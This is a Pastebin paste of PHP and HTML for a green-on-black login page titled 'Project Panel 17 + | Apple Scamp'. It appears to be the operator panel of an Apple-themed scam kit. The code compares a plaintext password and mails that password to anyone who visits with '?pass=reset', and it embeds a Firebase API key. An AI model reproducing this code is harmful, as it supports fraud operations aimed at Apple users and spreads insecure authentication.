Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- include 'conf/config.php';
- session_start();
- if($_SESSION['user'] != ""){
- header("location: $account_is_on");
- }
- ?>
- <?php
- $pass = $_POST['password'];
- if(isset($_POST['submit'])){
- if($pass == $password){
- session_start();
- $_SESSION['user'] = $pass;
- header("location: $account_is_on");
- }
- else{
- echo '<p> <font color="red">'.$wrong_password_Error.'<br></font></p>';
- }
- }
- if(isset($_GET['pass'])){
- $pass = $_GET['pass'];
- if($pass == 'reset'){
- $subject = "reset password";
- $text = "
- hi dear $name ,
- your password is ".$password;
- mail($your_email, $subject, $text);
- echo '<font color="red"><p>'.$help.'</p></font>';
- }
- }
- ?>
- <html>
- <head>
- <title>17+_Shop</title>
- <link rel="stylesheet" href="style.css" />
- </head>
- <body>
- <div id="login_div" class="main-div">
- <h3>Web Panel Login</h3>
- <input class="sub" type="email" placeholder="Email..." id="email_field" />
- <input class="sub" type="password" placeholder="Password..." id="password_field" />
- <button onclick="login()">Login to Account</button>
- </div>
- <div id="user_div" class="loggedin-div">
- <a>Welcome 17+ please enter your key Token .</a>
- <p id="user_para">Welcome to 17+ web login Example. You're currently logged in.</p>
- </span>
- <form action="" method="post">
- <input type="password" class="pass" placeholder="xxxx-xxxx-xxxx-xxxx" required name="password"><br><br>
- <input type="submit" name="submit" value="Acces Token" class="sub">
- </form>
- <button class="sub" onclick="logout()">Logout</button>
- </div>
- <script src="https://www.gstatic.com/firebasejs/4.11.0/firebase.js"></script>
- <script>
- // Initialize Firebase
- var config = {
- apiKey: "AIzaSyDlKgx1iODZA2KyIirKbRwkJ1DmEx87IQQ",
- authDomain: "borneo-shop.firebaseapp.com",
- databaseURL: "https://borneo-shop.firebaseio.com",
- projectId: "borneo-shop",
- storageBucket: "borneo-shop.appspot.com",
- messagingSenderId: "933927959365"
- };
- firebase.initializeApp(config);
- </script>
- <script src="style.js"></script>
- </body>
- </html>
- <html>
- <head>
- <title>17+</title>
- </head>
- <body>
- <center>
- <a>Project Panel 17 + | Apple Scamp<a>
- <center>
- <style>
- *{
- text-decoration:none;
- outline:0px;
- }
- body{
- background-color:black;
- color:#00FF00;
- font-family:courier;
- margin-top:8%;
- }
- .pass{
- color:#00FF00;
- background:black;
- width:100%;
- padding:8px;
- outline:0px;
- border:1px solid green;
- margin:1%;
- }
- span{
- margin-top:6%;
- margin:3%;
- color:#00FF00;
- width:43%;
- text-align:left;
- display:block;
- }
- .sub{
- color:#00FF00;
- background:black;
- width:40%;
- padding:8px;
- outline:0px;
- border:1px solid green;
- }
- </style>
- </center>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement